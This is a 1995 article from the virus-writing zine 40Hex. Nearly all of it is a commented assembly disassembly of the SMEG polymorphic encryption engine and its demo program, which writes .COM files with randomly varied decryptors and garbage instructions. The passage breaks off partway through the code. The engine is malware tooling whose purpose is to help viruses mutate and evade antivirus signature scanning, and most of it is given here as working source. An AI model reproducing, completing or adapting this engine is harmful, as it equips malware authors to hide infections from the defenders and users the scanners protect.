Copy Link
Add to Bookmark
Report
40Hex Issue 14 File 001
40Hex Number 14 Volume 5 Issue 1 File 001
SMEG is one of those ubiquitous polymorphism aids which have become fashionable
during the last few years. It was written by the Black Baron of England. It
tends to generate rather large decryptors. The only really interesting feature
is that it has the capability of generating CALL's to garbage subroutines. Note
that there are only a few routines which SMEG chooses from, so this encryption
is more on the level of Whale coupled with garbling. The debug script follows
the disassembly.
Dark Angel
Phalcon/Skism 1995
-------------------------------
; This is the disassembly of a SMEG demonstration program which generates
; snippets of code encrypted with SMEG.
.model tiny
.code
.radix 16
org 100
; Disassembly by Dark Angel of Phalcon/Skism
; for 40Hex #14 Vol 5 Issue 1
workbuffer struc
datasize dw ? ; 00 length of data to crypt
sourceptr dw ? ; 02 pointer to data to crypt
targetptr dw ? ; 04 pointer of where to put crypted data
db ? ; 06 reg0 encryption value
db ? ; 07 reg1 counter register
db ? ; 08 reg2 temporary storage for data
; to be decrypted
db ? ; 09 reg3
db ? ; 0A reg4 (always BP)
db ? ; 0B reg5
db ? ; 0C reg6
db ? ; 0D reg7 pointer register
rng_buffer dw ? ; 0E used by random number generator
cryptval db ? ; 10 encryption value
ptr_offsets dw ? ; 11 XXXX in [bx+XXXX] memory references
loop_top dw ? ; 13 points to top of decryption loop
pointer_patch dw ? ; 15 points to initialisation of pointer
counter_patch dw ? ; 17 points to initialisation of counter
pointer_fixup dw ? ; 19 needed for pointer calculation
crypt_type db ? ; 1B how is it encrypted?
initialIP dw ? ; 1C IP at start of decryptor
lastgarble db ? ; 1E type of the last garbling instr
cJMP_patch dw ? ; 1F conditional jmp patch
CALL_patch dw ? ; 21 CALL patch
nJMP_patch dw ? ; 23 near JMP patch
garbage_size dw ? ; 25 # garbage bytes to append
decryptor_size dw ? ; 27 size of decryptor
last_CALL dw ? ; 29 location of an old CALL patch location
which_tbl dw ? ; 2B which table to use
workbuffer ends
SMEG_demo: jmp enter_SMEG_demo
filename db '0000.COM', 0
prompt db 'SMEG v0.3. Generation Difference Demonstration',0Dh
db 0A,9,' (C) The Black Baron 1994',0Dh,0A,0A,0A
db 'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
db '1 -- 10 Generations',0Dh,0A
db '2 -- 100 ""',0Dh,0A
db '3 -- 1000 ""',0Dh,0A
db '4 -- 10000 "" (Large HD`s Only!!)$'
_10 db ' 10 $'
_100 db ' 100 $'
_1000 db ' 1000 $'
_10000 db ' 10000 $'
generating db 0Dh,0A,0A,0A,'Generating$'
please_wait db 'Executable .COM Generations, Please Wait...$'
checkdiff db 0Dh,0A,0A
db 'DONE! Now examine each, and'
db ' note how different they are!',0Dh,0A,0A,7,'$'
diskerror db 0Dh,0A,0A,'SORRY! A disk error has occurred!'
db 0Dh,0A,0A,7,'$'
num2gen dw 10d, offset _10
dw 100d, offset _100
dw 1000d, offset _1000
dw 10000d, offset _10000
enter_SMEG_demo:mov ax,3 ; set video mode to standard
int 10 ; text mode (clear screen, too)
mov dx,offset prompt ; display prompt
mov ah,9
int 21
inputloop: mov ax,0C07 ; clear keyboard buffer & get
int 21 ; keystroke
cmp al,'1' ; must be between 1 and 4
jb inputloop
cmp al,'4'
ja inputloop
sub al,'1' ; normalise
xor ah,ah ; and find out how many files
add ax,ax ; we should generate
add ax,ax
add ax,offset num2gen
xchg bx,ax
push bx
mov dx,offset generating
mov ah,9 ; display string
int 21
pop bx ; display num to generate
mov cx,[bx]
push cx
mov dx,[bx+2]
int 21
mov dx,offset please_wait ; display string again
int 21
pop cx
gen_file_loop: push cx
mov bp,offset data_area ; set up SMEG registers
mov di,offset target_area
mov dx,offset carrier
mov cx,offset end_carrier - offset carrier
mov ax,100 ; COM files start exec @ 100
call SMEG ; encrypt the carrier file
mov ah,5Bh ; create new file
mov dx,offset filename
xor cx,cx
int 21
jnc created_file
print_error_exit:
call print_error
exit_error: pop cx
mov ax,4CFF ; terminate errorlevel -1
int 21
created_file: xchg bx,ax
mov ah,40 ; write decryptor
mov cx,[bp.decryptor_size]
mov dx,offset target_area
int 21
jnc write_rest
close_exit: call print_error
mov ah,3E ; close file
int 21
jmp short exit_error
write_rest: call encrypt ; encrypt the code
mov ah,40 ; the write the result to the
mov cx,[bp.datasize] ; file
mov dx,offset target_area
int 21
jc close_exit
call generate_garbage ; create garbage
mov ah,40 ; append it to the file
int 21
jc close_exit
mov ah,3E ; close file
int 21
jc print_error_exit
mov bx,offset filename+3 ; calculate next file name
mov cx,4
inc_fname: inc byte ptr [bx]
cmp byte ptr [bx],3A
jb increment_done
sub byte ptr [bx],0A
dec bx
loop inc_fname
increment_done: pop cx
loop gen_file_loop
mov dx,offset checkdiff ; display string
mov ah,9
int 21
mov ax,4C00 ; exit errorlevel 0
int 21
print_error: mov dx,offset diskerror ; display error message
mov ah,9
int 21
retn
carrier: call enter_carrier
db 0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
db ' decryptor!',0Dh,0A,'$'
enter_carrier: pop dx
mov ah,9 ; print string
int 21
mov ax,4c00 ; terminate
int 21
end_carrier:
; SMEG code begins here
SMEG: mov [bp.datasize],cx ; save length to crypt
mov [bp.sourceptr],dx ; save offset to data to crypt
mov [bp.targetptr],di ; save offset to where to put crypted stuff
push bx si
mov bx,bp
db 83,0C3,06 ; add bx,6
mov cx,2Dh ; clear the work area with 0's
; the above line is buggy. it should read: mov cx,2Dh-6
push bx
clear_dataarea: mov [bx],ch
inc bx
loop clear_dataarea
mov [bp.initialIP],ax ; store initial IP
call rnd_init
mov bx,offset use_regs_tbl
call rnd_get
and al,1F
xlat
pop bx
mov cx,4
fill_registers:
xor dl,dl ; fill in which registers
rcl al,1 ; do which job
rcl dl,1
rcl al,1
rcl dl,1
mov [bx],dl
inc bx
loop fill_registers
mov byte ptr [bx],5 ; use BP as a garbling register
inc bx
inc bx
call rnd_get
rol al,1 ; get top bit of al
and al,1 ; to select between
add al,6 ; si and di for ptr
mov [bx],al ; register
xor al,1 ; flip to the other one
cmp byte ptr [bx-3],3 ; is it BX?
jne is_not_bx
mov [bx-3],al
mov al,3
is_not_bx: mov [bx+1],al
mov al,[bx-3]
mov [bx-1],al
gen_cryptval: call rnd_get
xor al,ah
jz gen_cryptval
mov [bp.cryptval],al ; store encryption value
call rnd_get ; get a random value for the
or al,1 ; offset of memory references,
mov [bp.ptr_offsets],ax ; i.e. the XXXX in [bp+XXXX]
call rnd_init ; generate a random number
and ax,3FF ; from 80 to 47F to be the
add ax,80 ; number of garbage bytes to
mov [bp.garbage_size],ax ; add
; the next block serves no purpose. but it is a valid text string...
xor ax,ax ; 3?SMEG????
add al,53 ; where ? stands for an upper
dec bp ; ASCII character
inc bp
inc di
add al,0AE
cld
sub di,ax
call rnd_get ; do the following from
and ax,3 ; 3 to 7 times
add al,3
xchg cx,ax
begin_garble: push cx
call garble_more
call rnd_get
cmp al,8C
jbe no_int21
and ax,3 ; encode a dummy int 21
add ax,offset int21fcns ; call
xchg si,ax
mov ah,0B4
lodsb
xchg ah,al
stosw
mov ax,21CDh ; encode int 21
stosw
no_int21: pop cx
loop begin_garble
mov al,0E8 ; encode a CALL
stosb
push di ; write garbage for offset
stosw ; of call for now
call garble_more ; encode some garbage
mov al,0E9 ; encode a JMP
stosb
pop bx
push di
stosw
push di
pop ax
dec ax
dec ax
sub ax,bx
mov [bx],ax ; patch CALL to point to
; space past the JMP where we
call garble_more ; encode a garbage subroutine
mov al,0C3 ; encode a RETN
stosb
pop bx
push di
pop ax
dec ax
dec ax
sub ax,bx
mov [bx],ax ; Make JMP go past subroutine
call encode_routine ; encode the routine!
mov si,bp
db 83,0C6,08 ; add si,8 ; default to using data temp
; storage register to return
; to top of loop
and al,al ; check return code of routine
jnz how_to_top
dec si ; if 0, instead use encryption
dec si ; value register to return
how_to_top: mov al,75 ; encode JNZ
stosb
inc di
push di
call garble_some
pop bx
mov al,0E9 ; encode a JMP
stosb
push di
inc di ; skip the offset for now
inc di
mov ax,di
sub ax,bx
mov [bx-1],al ; patch the JNZ
call garble_some
call rnd_get
and ax,3 ; first entry requires
add ax,ax ; no register setup, so
jz no_setup ; jmp past it
push ax
mov al,0B8
or al,[si] ; MOV word-reg, XXXX
stosb
mov ax,[bp.loop_top]
sub ax,[bp.targetptr]
add ax,[bp.initialIP]
stosw
call garble_some
pop ax
no_setup: add ax,offset jmp_table
xchg bx,ax
call word ptr [bx] ; encode method of returning
stosw ; to the top of the loop
pop bx
mov ax,di
sub ax,bx
dec ax
dec ax
mov [bx],ax
call garble_more
pad_paragraph: mov ax,di ; pad the decryptor out to the
sub ax,[bp.targetptr] ; nearest paragraph
and al,0F ; do we need to?
jz padded ; no, we are done
cmp al,0C ; otherwise, still a lot to go?
ja one_byte_pad ; no, do one byte at a time
call not_branch_garble ; else do a nonbranching
jmp short pad_paragraph ; instruction
one_byte_pad: call rnd_get ; do a random one byte padding
call do_one_byte ; instruction
jmp short pad_paragraph
padded: mov ax,di
sub ax,[bp.targetptr]
mov [bp.decryptor_size],ax
add ax,[bp.initialIP]
mov cx,[bp.pointer_fixup]
sub ax,cx
mov bx,[bp.pointer_patch]
mov [bx],ax
mov bl,[bp.crypt_type] ; get encryption type so
mov cl,3 ; the initial value of the
ror bl,cl ; counter can be calculated
db 83,0E3,0F ; and bx,0F
add bx,offset counter_init_table
mov ax,[bp.datasize]
call word ptr [bx]
mov bx,[bp.counter_patch] ; patch the value of the
mov [bx],ax ; counter as needed
pop si bx
retn
generate_garbage:
mov cx,[bp.garbage_size] ; write random bytes
mov di,[bp.targetptr] ; to the target location
push cx di
random_gen: call rnd_get
stosb
loop random_gen
pop dx cx
retn
write_table dw offset write_nothing
dw offset write_cryptval
dw offset write_pointer_patch
dw offset write_counter_patch
dw offset write_ptr_offset
dw offset write_dl
; In the following table, each pair of bits represents a register
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
use_regs_tbl: db 00011011b ; ax cx dx bx
db 11000110b ; bx ax cx dx
db 10110001b ; dx bx ax cx
db 01101100b ; cx dx bx ax
db 11100100b ; bx dx cx ax
db 00111001b ; ax bx dx cx
db 01001110b ; cx ax bx dx
db 10010011b ; dx cx ax bx
db 01001011b ; cx ax dx bx
db 11010010b ; bx cx ax dx
db 10110100b ; dx bx cx ax
db 00101101b ; ax dx cx bx
db 11100001b ; bx dx ax cx
db 01111000b ; cx bx dx ax
db 00011110b ; ax cx bx dx
db 10000111b ; dx ax cx bx
db 00100111b ; ax dx cx bx
db 11001001b ; bx ax dx cx
db 01110010b ; cx bx ax dx
db 10011100b ; dx cx bx ax
db 11011000b ; dx ax bx cx
db 00110110b ; ax bx cx dx
db 10001101b ; bx cx dx ax
db 01100011b ; cx dx ax bx
db 11100100b ; bx dx cx ax
db 00101101b ; ax dx cx bx
db 00100111b ; ax dx cx bx
db 00011110b ; ax cx bx dx
db 11000110b ; bx ax cx dx
db 10000111b ; bx cx ax dx
db 11010010b ; cx bx ax dx
db 01110010b ; cx bx ax dx
onebyte_table: dec ax
inc ax
clc
cld
cmc
stc
inc ax
dec ax
; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
garble_table: dw 80F1 ; XOR reg, XXXX
dw 3201 ; XOR reg, [reg]
dw 0F6C1 ; TEST reg, XXXX
dw 8405 ; TEST/XCHG reg, [reg]
dw 80E9 ; SUB reg, XXXX (2 diff encodings)
dw 2A01 ; SUB reg, [reg]
dw 0D0EBh ; SHR reg, 1
dw 1A01 ; SBB reg, [reg]
dw 80D9 ; SBB reg, XXXX
dw 80D1 ; ADC reg, XXXX
dw 0D0FBh ; SAR reg, 1/CL
dw 0D0E3 ; SHL reg, 1/CL
dw 0D0CBh ; ROR reg, 1/CL
dw 0D0C3 ; ROL reg, 1/CL
dw 8405 ; TEST/XCHG reg, [reg]
dw 0D0DBh ; RCR reg, 1/CL
dw 0C6C1 ; MOV reg, XXXX
dw 080C9 ; OR reg, XXXX
dw 0A01 ; OR reg, [reg]
dw 0F6D1 ; NOT reg
dw 0F6D9 ; NEG reg
dw 8A01 ; MOV reg, [reg]
dw 0C6C1 ; MOV reg, XXXX
dw 0201 ; ADD reg, [reg]
dw 80C1 ; ADD reg, XXXX
dw 80FDh ; CMP reg, XXXX
dw 3807 ; CMP reg, [reg] (2 diff encodings)
dw 80E1 ; AND reg, XXXX
dw 0D0D3 ; RCL reg, 1/CL
dw 2201 ; AND reg, [reg]
dw 1201 ; ADC reg, [reg]
dw 8A01 ; MOV reg, [reg]
int21fcns db 19,2A,2C,30
counter_init_table:
dw offset counterinit0
dw offset counterinit1
dw offset counterinit2
dw offset counterinit3
dw offset counterinit4
dw offset counterinit5
dw offset counterinit6
dw offset counterinit7
encode_table dw offset use_as_is
dw offset fill_mod_field
dw offset fill_field
dw offset fill_reg_reg1
dw offset fill_reg_field
dw offset fill_mod_n_reg
dw offset fill_reg_reg2
encode_tbl1: db 8,8C,0,0C8,4,0 ; 1 MOV reg0, CS
db 8,8E,0,0D8,4,0 ; 2 MOV DS, reg0
db 7,0B8,4,-1,0,2 ; 3 MOV reg7,initial pointer
db 1,0B8,4,-1,0,3 ; 4 MOV reg1,initial counter
db 57,8A,0,80,5,4 ; 5 MOV reg2,[reg7+offset]
db 57,88,0,80,5,4 ; 6 MOV [reg7+offset],reg2
db 2,80,0,0F0,4,1 ; 7 XOR reg2,cryptvalue
db 11,8Bh,0,0C0,5,0 ; 8 MOV reg2,reg1
db 78,30,0,0,6,0 ; 9 XOR [reg7],reg0
db 47,0F6,0,98,4,4 ; A NEG [reg7+offset]
db 47,0F6,0,90,4,4 ; B NOT [reg7+offset]
db 7,40,4,-1,0,0 ; C INC reg7
db 1,48,4,-1,0,0 ; D DEC reg1
db 8,0B0,4, -1,0,1 ; E MOV reg0,cryptval
db 10,33,0,0C0,5,0 ; F XOR reg2,reg0
encode_tbl2: db 47,86,0,80,5,4 ; 1 XCHG reg0,[reg7+offset]
db 8,40,4,-1,0,0 ; 2 INC reg0
db 8,48,4,-1,0,0 ; 3 DEC reg0
db 7,81,0,0C0,4,15 ; 4 ADD reg7,1
db 1,81,0,0E8,4,15 ; 5 SUB reg1,1
db 10,2,0,0C0,5,0 ; 6 ADD reg2,reg0
db 10,2A,0,0C0,5,0 ; 7 SUB reg2,reg0
db 47,0FBh,4,0B0,4,4 ; 8 PUSH [reg7+offset]
db 47,8F,0,80,4,4 ; 9 POP [reg7+offset]
db 8,50,4,-1,0,0 ; A PUSH reg0
db 8,58,4,-1,0,0 ; B POP reg0
db 10,87,0,0C0,5,0 ; C XCHG reg2,reg0
db 2,40,4,-1,0,0 ; D INC reg2
db 8,8Bh,0,0C0,5,0 ; E MOV reg1,reg0
db 9,23,0,0C0,5,0 ; F AND reg1,reg1
routine4: db 10
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg1,initial counter (4)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; INC reg0 (02)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 13,24,0EF,05,0F0,26,0CDh,-1
routine8: db 71
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; DEC reg1 (D)
; NEG [reg7+offset] (A)
; DEC reg1 (D)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; DEC reg0 (03)
; ADD reg7,1 (04)
; SUB reg1,1 (05)
; DEC reg0 (03)
; SUB reg1,1 (05)
; done (-1)
db 34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1
routine1: db 42
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; XCHG reg2,reg0 (0C)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; MOV DS,reg0 (2)
; beginning of loop (0)
; XCHG reg0,[reg7+offset] (01)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
db 0F0,-1,0
routineC: db 33
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg7,initial pointer (3)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; DEC reg1 (D)
; DEC reg1 (D)
; NOT [reg7+offset] (B)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; XOR reg2,reg0 (F)
; INC reg7 (C)
; INC reg0 (02)
; INC reg0 (02)
; XOR reg2,reg0 (F)
; done (-1)
db 14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1
routineE: db 64
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; XOR [reg7],reg0 (9)
; MOV reg2,reg1 (8)
; XCHG reg2,reg0 (0C)
; INC reg0 (02)
; INC reg2 (0D)
; INC reg0 (02)
; ADD reg7,1 (04)
; INC reg0 (02)
; INC reg0 (02)
; MOV reg1,reg0 (0E)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; AND reg1,reg1 (0F)
; done (-1)
db 41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1
routine2: db 5
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; DEC reg1 (D)
; XOR reg2,encryption value (7)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; PUSH reg0 (0A)
; SUB reg2,reg0 (07)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; INC reg0 (02)
; AND reg1,reg1 (0F)
; done (-1)
db 13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
db 0D0,0C0,0E0,0B0,20,0F0,-1
routineF: db 56
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; INC reg2 (0D)
; ADD reg2,reg0 (06)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; DEC reg0 (03)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1
routine9: db 27
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; XOR [reg7],reg0 (9)
; XOR reg2,reg0 (F)
; ADD reg7,1 (04)
; PUSH reg0 (0A)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; DEC reg0 (03)
; AND reg1,reg1 (0F)
; done (-1)
db 41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
db -1
routine7: db 32
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; beginning of loop (0)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; POP reg0 (0B)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; ADD reg7,1 (04)
; DEC reg1 (D)
; done (-1)
; return code 0 (0)
db 41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0
routine5: db 11
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; NEG [reg7+offset] (A)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; DEC reg0 (03)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
db 43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1
routineB: db 66
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; XCHG reg2,reg0 (0C)
; INC reg0 (02)
; INC reg0 (02)
; INC reg0 (02)
; INC reg0 (02)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; ADD reg2,reg0 (06)
; PUSH reg0 (0A)
; XCHG reg2,reg0 (0C)
; PUSH reg0 (0A)
; POP [reg7+offset] (09)
; POP reg0 (0B)
; DEC reg0 (03)
; INC reg7 (C)
; XOR reg2,reg0 (F)
; AND reg1,reg1 (0F)
; done (-1)
db 31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
db 60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1
routine3: db 4
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg2,reg1 (8)
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; beginning of loop (0)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; XCHG reg2,reg0 (0C)
; XOR [reg7],reg0 (9)
; INC reg7 (C)
; INC reg0 (02)
; INC reg0 (02)
; AND reg1,reg1 (0F)
; done (-1)
db 12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
db 0F0,-1
routineD: db 73
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg1,initial counter (4)
; beginning of loop (0)
; DEC reg1 (D)
; DEC reg1 (D)
; DEC reg1 (D)
; NOT [reg7+offset] (B)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; INC reg0 (02)
; ADD reg7,1 (04)
; INC reg0 (02)
; SUB reg1,1 (05)
; done (-1)
db 31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
db 50,-1
routine0: db 20
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg1,initial counter (4)
; beginning of loop (0)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; XCHG reg2,reg0 (0C)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; MOV reg2,reg1 (8)
; INC reg7 (C)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg0 (02)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
db 20,0C0,0E0,0F0,-1,0
routine6: db 55
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; DEC reg1 (D)
; SUB reg2,reg0 (07)
; INC reg0 (02)
; SUB reg1,1 (05)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 43,12,0E3,5,0D0,70,20,56,0CDh,-1
routineA: db 47
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; XCHG reg2,reg0 (0C)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; beginning of loop (0)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; DEC reg0 (03)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
db 0E0,40,0F0,-1,0
crypt_table dw offset crypt0
dw offset crypt1
dw offset crypt2
dw offset crypt3
dw offset crypt4
dw offset crypt5
dw offset crypt6
dw offset crypt7
jmp_table dw offset jmp0
dw offset jmp1
dw offset jmp2
dw offset jmp3
routine_table: dw offset routine0
dw offset routine1
dw offset routine2
dw offset routine3
dw offset routine4
dw offset routine5
dw offset routine6
dw offset routine7
dw offset routine8
dw offset routine9
dw offset routineA
dw offset routineB
dw offset routineC
dw offset routineD
dw offset routineE
dw offset routineF
encrypt: cld
push bx si
mov bl,[bp.crypt_type] ; get encryption type
db 83,0E3,0F ; and bx,0F
add bx,bx
add bx,offset crypt_table ; convert to offset
mov di,[bp.targetptr] ; set up loop
mov si,[bp.sourceptr]
mov cx,[bp.datasize]
mov dl,[bp.cryptval]
encrypt_byte: lodsb
call word ptr [bx]
stosb
loop encrypt_byte
pop si bx
retn
crypt0: xor al,dl
inc dl
retn
crypt2: xor dl,al
mov al,dl
dec dl
retn
crypt3: not al
crypt4: xor al,dl
inc dl
inc dl
retn
crypt1: xor al,dl
neg al
dec dl
dec dl
retn
crypt5: add al,dl
inc dl
retn
crypt6: sub al,dl
dec dl
retn
crypt7: xor al,dl
dec dl
retn
counterinit0: neg ax
counterinit1: retn
counterinit2: neg ax
counterinit3: add ax,ax
retn
counterinit4: neg ax
counterinit5: mov cx,ax
add ax,ax
add ax,cx
retn
counterinit6: neg ax
counterinit7: add ax,ax
add ax,ax
retn
jmp0: mov al,0E9 ; encode a JMP
stosb ; (with word offset)
mov ax,di ; calculate offset to
sub ax,[bp.loop_top] ; top of decryption loop
inc ax ; adjust for jmp instruction
inc ax
neg ax ; adjust for going back instead
retn ; of forwards
jmp1: mov ax,0E0FF ; encode JMP register
or ah,[si]
retn
jmp2: mov ax,0C350 ; encode PUSH/RETn
jmpXdone: or al,[si]
retn
jmp3: mov al,0E ; encode PUSH CS
stosb
call garble_some ; garble a bit
mov ax,0CB50 ; encode PUSH reg/RETN
jmp short jmpXdone
encode_routine: call rnd_get ; pick a random routine
mov bx,offset routine_table ; to use
and ax,0F
add ax,ax
add bx,ax
mov si,[bx]
lodsb ; get the first byte
mov [bp.crypt_type],al ; and save it
jmp short encode_routine2 ; keep going...
encode_it: lodsb ; get the next byte
cmp ah,-1 ; are we done?
je use_as_is ; if so, exit
xor bh,bh ; convert AL to
add al,al ; offset in encode_table
mov bl,al
add bx,offset encode_table
mov al,dh
mov cx,3
call word ptr [bx] ; call the routine
xchg ah,al
stosb ; write the resulting byte
use_as_is: retn
fill_mod_field: ror al,cl
fill_field: and al,7 ; get the register # al
mov bx,bp
db 83,0C3,06 ; add bx,6
xlat
rol al,cl
and cl,cl ; encoding rm or reg?
jnz not_memory ; branch if doing rm
test dh,40 ; memory access?
jz not_memory
cmp al,3 ; using bx?
jne not_BX
mov al,7 ; change it to di
jmp short not_memory
not_BX: cmp al,6 ; is it si?
jb not_memory
sub al,2 ; change it to double register
not_memory: or ah,al
retn
fill_reg_reg1: ror al,cl ; [reg], reg
fill_reg_field: xor cl,cl ; fill bottom 3 bits only
jmp short fill_field
fill_mod_n_reg: call fill_mod_field ; fill mod field as usual
mov al,dh ; fill reg field with the
